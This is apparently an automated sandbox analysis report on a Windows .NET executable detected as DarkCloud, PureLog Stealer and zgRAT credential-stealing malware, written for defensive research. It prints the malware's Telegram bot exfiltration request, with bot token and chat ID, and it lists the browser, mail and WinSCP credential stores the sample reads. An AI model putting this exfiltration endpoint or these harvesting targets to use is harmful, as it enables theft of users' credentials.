Windows Analysis Report
JFFjXW16yR.exe

Overview

General Information

Sample name: JFFjXW16yR.exe
renamed because original name is a hash value
Original sample name: d9571b8bc83fb768f27c1a7e0565d16c5ebd9508e4c6d9c15474d2c53df99e93.exe
Analysis ID: 1528942
MD5: 074c4994bc41a053e18c4e5d37e5b62b
SHA1: 47947622d88d6881f85bae692a3d4202f04bcb03
SHA256: d9571b8bc83fb768f27c1a7e0565d16c5ebd9508e4c6d9c15474d2c53df99e93
Tags: exeuser-adrian__luca
Infos:

Detection

DarkCloud, PureLog Stealer, zgRAT
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Found malware configuration
Malicious sample detected (through community Yara rule)
Yara detected DarkCloud
Yara detected PureLog Stealer
Yara detected Telegram RAT
Yara detected zgRAT
.NET source code contains method to dynamically call methods (often used by packers)
AI detected suspicious sample
Machine Learning detection for sample
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses the Telegram API (likely for C&C communication)
Allocates memory with a write watch (potentially for evading sandboxes)
Contains long sleeps (>= 3 min)
Detected potential crypto function
Enables debug privileges
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample file is different than original file name gathered from version info
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer
Yara signature match

Classification

Name Description Attribution Blogpost URLs Link
DarkCloud Stealer Stealer is written in Visual Basic. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.darkcloud
Name Description Attribution Blogpost URLs Link
zgRAT zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

AV Detection
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Antivirus / Scanner detection for submitted sample
Source: JFFjXW16yR.exe Avira: detected
Found malware configuration
Source: JFFjXW16yR.exe.2944.0.memstrmin Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7487818328:AAGmIqXHljqLNUPxdc-QpOwPXooEPkvNg5U/sendMessage"}
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for sample
Source: JFFjXW16yR.exe Joe Sandbox ML: detected
Uses 32bit PE files
Source: JFFjXW16yR.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: JFFjXW16yR.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Networking
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Uses the Telegram API (likely for C&C communication)
Source: unknown DNS query: name: api.telegram.org
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: POST /bot7487818328:AAGmIqXHljqLNUPxdc-QpOwPXooEPkvNg5U/sendDocument?chat_id=6333631912&caption=??%20OC%20verison%20-%20Microsoft%20Windows%20NT%206.2.9200.0%0AMachineName%20-%20767668/user%0ACurrent%20time%20-%2008/10/2024%2007:52:00 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dce76e17bd62bdHost: api.telegram.orgContent-Length: 389Expect: 100-continueConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 149.154.167.220 149.154.167.220
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: TELEGRAMRU TELEGRAMRU
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic DNS traffic detected: DNS query: api.telegram.org
Source: unknown HTTP traffic detected: POST /bot7487818328:AAGmIqXHljqLNUPxdc-QpOwPXooEPkvNg5U/sendDocument?chat_id=6333631912&caption=??%20OC%20verison%20-%20Microsoft%20Windows%20NT%206.2.9200.0%0AMachineName%20-%20767668/user%0ACurrent%20time%20-%2008/10/2024%2007:52:00 HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dce76e17bd62bdHost: api.telegram.orgContent-Length: 389Expect: 100-continueConnection: Keep-Alive
Source: JFFjXW16yR.exe, 00000000.00000002.1729092261.0000000003693000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://api.telegram.org
Source: JFFjXW16yR.exe, 00000000.00000002.1729092261.0000000003679000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: JFFjXW16yR.exe, 00000000.00000002.1729092261.0000000003679000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org
Source: JFFjXW16yR.exe, 00000000.00000002.1729092261.0000000003552000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot
Source: JFFjXW16yR.exe, 00000000.00000002.1729092261.0000000003663000.00000004.00000800.00020000.00000000.sdmp, JFFjXW16yR.exe, 00000000.00000002.1729092261.0000000003679000.00000004.00000800.00020000.00000000.sdmp, JFFjXW16yR.exe, 00000000.00000002.1729092261.0000000003552000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/bot7487818328:AAGmIqXHljqLNUPxdc-QpOwPXooEPkvNg5U/sendDocument?chat_id=6333
Source: JFFjXW16yR.exe, 00000000.00000002.1729092261.0000000003421000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://api.telegram.org/botE7487818328:AAGmIqXHljqLNUPxdc-QpOwPXooEPkvNg5UF/sendDocument?chat_id=G6
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49730 version: TLS 1.2

System Summary
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Malicious sample detected (through community Yara rule)
Source: JFFjXW16yR.exe, type: SAMPLE Matched rule: Detects zgRAT Author: ditekSHen
Source: 0.0.JFFjXW16yR.exe.f00000.0.unpack, type: UNPACKEDPE Matched rule: Detects zgRAT Author: ditekSHen
Detected potential crypto function
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Code function: 0_2_00007FFD9B774776 0_2_00007FFD9B774776
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Code function: 0_2_00007FFD9B773BFB 0_2_00007FFD9B773BFB
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Code function: 0_2_00007FFD9B773FFA 0_2_00007FFD9B773FFA
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Code function: 0_2_00007FFD9B773798 0_2_00007FFD9B773798
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Code function: 0_2_00007FFD9B771570 0_2_00007FFD9B771570
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Code function: 0_2_00007FFD9B771541 0_2_00007FFD9B771541
Sample file is different than original file name gathered from version info
Source: JFFjXW16yR.exe, 00000000.00000000.1699441650.0000000000F64000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenamefiremen.exe4 vs JFFjXW16yR.exe
Source: JFFjXW16yR.exe Binary or memory string: OriginalFilenamefiremen.exe4 vs JFFjXW16yR.exe
Uses 32bit PE files
Source: JFFjXW16yR.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Yara signature match
Source: JFFjXW16yR.exe, type: SAMPLE Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 0.0.JFFjXW16yR.exe.f00000.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: JFFjXW16yR.exe, fAms6Se0H90iM26npfb.cs Cryptographic APIs: 'CreateDecryptor'
Source: JFFjXW16yR.exe, fAms6Se0H90iM26npfb.cs Cryptographic APIs: 'CreateDecryptor'
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@2/4@1/1
Source: C:\Users\user\Desktop\JFFjXW16yR.exe File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\JFFjXW16yR.exe.log Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2256:120:WilError_03
Source: C:\Users\user\Desktop\JFFjXW16yR.exe File created: C:\Users\user\AppData\Local\Temp\tmp18BD.tmp Jump to behavior
Source: JFFjXW16yR.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: JFFjXW16yR.exe Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: JFFjXW16yR.exe, 00000000.00000002.1729092261.000000000352D000.00000004.00000800.00020000.00000000.sdmp, tmp18BD.tmp.dat.0.dr Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: unknown Process created: C:\Users\user\Desktop\JFFjXW16yR.exe "C:\Users\user\Desktop\JFFjXW16yR.exe"
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Section loaded: schannel.dll Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Section loaded: mskeyprotect.dll Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Section loaded: ncryptsslp.dll Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: JFFjXW16yR.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: JFFjXW16yR.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation
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.NET source code contains method to dynamically call methods (often used by packers)
Source: JFFjXW16yR.exe, fAms6Se0H90iM26npfb.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Code function: 0_2_00007FFD9B77C421 push eax; iretd 0_2_00007FFD9B77C42D
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Code function: 0_2_00007FFD9B7700BD pushad ; iretd 0_2_00007FFD9B7700C1
Source: JFFjXW16yR.exe, SQLite.cs High entropy of concatenated method names: 'GetValue', 'GetRowCount', 'jZQ595ta2', 'YK7Og0iSu', 'ReadTable', 'HB5cdqj5y', 'rM5CVlCjT', 'IRTNlAva6', 'ULSPsqOUP', 'YTUmtab7VIrZgagPPp2'
Source: JFFjXW16yR.exe, Asn1Der.cs High entropy of concatenated method names: 'Parse', 'SDTVhjq5MuqPcYxE3nI', 'jM2TyfqO7URdecETq9F', 'xW3EAoqcM6yXnDP4PLv', 'z8qkNnqCGqinv8kMOtG', 'lwFF1nqNWpv61t8TkiR', 'rp9lPLq6qabWHDZQ9td', 'AAkHFUq0tpBvfexA0UN'
Source: JFFjXW16yR.exe, Chromium.cs High entropy of concatenated method names: 'IvWMLRH99LZrCU4EbH9', 'gJBomTHuTbqIUw3Pl6Z', 'vcJNO9HRbq4Wt6B1m7J', 'Dispose', 'SO1IjDHpD5RPhxTdfsd', 'VbJv8aHi4sWvUKAyHCA', 'cQa55QHXX50SvTlCeQ6', 'oM8kBZHYt9IHwrPeYuj', 'RZcYQRH8RioS2QiBUtP', 'uAAjH2HAJH92NSGdesQ'
Source: JFFjXW16yR.exe, Pbkdf2.cs High entropy of concatenated method names: 'GetBytes', 'oICK3qCDM', 'MFWEaFWiZ', 'StrCredentialsRecovery', 'CiHSOrqZlE53VlOvnqB', 'emW6PUqFSSnG2cFy9qG', 'oUspEsqVaKw9iWV9TeK', 'erPKmfqW3EgMbDqDPKH', 'qYCFokq2j0kHaWXCjRd', 'P8lj9LqfuyiPcvkXUPb'
Source: JFFjXW16yR.exe, Dq2vtoXitgeILmvprM.cs High entropy of concatenated method names: 'f3kkrRo09', 'itnqnXqJxY5d3OCYaao', 'Tcu37ZqsNwroWxtFy7K', 'qHxJTnqSp2WeeGL4PS6', 'DHdlBQqduyuFvwwGyM2', 'VOyR0WqQTSg5eTlvPQb', 'z615KyqgybZpYdlRxis'
Source: JFFjXW16yR.exe, fAms6Se0H90iM26npfb.cs High entropy of concatenated method names: 'ak8SGM3lPpdFI5Mffw2', 'oc9lAb3b5eUiYTfTG7A', 'zLLIwRsG5p', 'Xj7DYR36vbcxf2YMX8G', 'MwgmnU304fWOy3c0ahK', 'laH1VZ35LdNlTUalR19', 'ObtqtU3OAoFHeosCRiq', 'KgRLBU3cwBuS8Qst9fo', 'DCr9CG3CmukaQuNKkm1', 'RsYKmV3NsiECwrxw4Ea'
Source: JFFjXW16yR.exe, wkqHS2d1VcVl43Ydy26.cs High entropy of concatenated method names: 'kVLLB1Elri', 'MAnLoRkxrB', 'qSML1mJu5r', 'VBDLuOcwEa', 'em1LR0k0BA', 'jiTL9q2Sul', 'O51LMKw2Rk', 'YiqQJM0H8P', 'YiHLigHIHM', 'exyLX3shtm'
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Memory allocated: 16A0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Memory allocated: 1B420000 memory reserve | memory write watch Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Thread delayed: delay time: 922337203685477 Jump to behavior
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\JFFjXW16yR.exe TID: 2188 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe TID: 5236 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: JFFjXW16yR.exe, 00000000.00000002.1729630254.000000001BFDA000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Enables debug privileges
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Memory allocated: page read and write | page guard Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Queries volume information: C:\Users\user\Desktop\JFFjXW16yR.exe VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected DarkCloud
Source: Yara match File source: 00000000.00000002.1729092261.0000000003421000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1729092261.0000000003552000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: JFFjXW16yR.exe PID: 2944, type: MEMORYSTR
Yara detected PureLog Stealer
Source: Yara match File source: JFFjXW16yR.exe, type: SAMPLE
Source: Yara match File source: 0.0.JFFjXW16yR.exe.f00000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000000.1699400216.0000000000F02000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Yara detected Telegram RAT
Source: Yara match File source: 00000000.00000002.1729092261.0000000003421000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: JFFjXW16yR.exe PID: 2944, type: MEMORYSTR
Yara detected zgRAT
Source: Yara match File source: JFFjXW16yR.exe, type: SAMPLE
Source: Yara match File source: 0.0.JFFjXW16yR.exe.f00000.0.unpack, type: UNPACKEDPE
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Sessions Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\Desktop\JFFjXW16yR.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Tries to steal Mail credentials (via file / registry access)
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: C:\Users\user\Desktop\JFFjXW16yR.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: Process Memory Space: JFFjXW16yR.exe PID: 2944, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected DarkCloud
Source: Yara match File source: 00000000.00000002.1729092261.0000000003421000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1729092261.0000000003552000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: JFFjXW16yR.exe PID: 2944, type: MEMORYSTR
Yara detected PureLog Stealer
Source: Yara match File source: JFFjXW16yR.exe, type: SAMPLE
Source: Yara match File source: 0.0.JFFjXW16yR.exe.f00000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000000.1699400216.0000000000F02000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Yara detected Telegram RAT
Source: Yara match File source: 00000000.00000002.1729092261.0000000003421000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: JFFjXW16yR.exe PID: 2944, type: MEMORYSTR
Yara detected zgRAT
Source: Yara match File source: JFFjXW16yR.exe, type: SAMPLE
Source: Yara match File source: 0.0.JFFjXW16yR.exe.f00000.0.unpack, type: UNPACKEDPE
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1528942 Sample: JFFjXW16yR.exe Startdate: 08/10/2024 Architecture: WINDOWS Score: 100 16 api.telegram.org 2->16 20 Found malware configuration 2->20 22 Malicious sample detected (through community Yara rule) 2->22 24 Antivirus / Scanner detection for submitted sample 2->24 28 7 other signatures 2->28 7 JFFjXW16yR.exe 14 10 2->7         started        signatures3 26 Uses the Telegram API (likely for C&C communication) 16->26 process4 dnsIp5 18 api.telegram.org 149.154.167.220, 443, 49730 TELEGRAMRU United Kingdom 7->18 14 C:\Users\user\AppData\...\JFFjXW16yR.exe.log, CSV 7->14 dropped 30 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 7->30 32 Tries to steal Mail credentials (via file / registry access) 7->32 34 Tries to harvest and steal browser information (history, passwords, etc) 7->34 12 conhost.exe 7->12         started        file6 signatures7 process8
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
149.154.167.220
 api.telegram.org United Kingdom
62041 TELEGRAMRU true

Contacted Domains

Name IP Active
api.telegram.org 149.154.167.220 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://api.telegram.org/bot7487818328:AAGmIqXHljqLNUPxdc-QpOwPXooEPkvNg5U/sendDocument?chat_id=6333631912&caption=??%20OC%20verison%20-%20Microsoft%20Windows%20NT%206.2.9200.0%0AMachineName%20-%20767668/user%0ACurrent%20time%20-%2008/10/2024%2007:52:00 false
    		unknown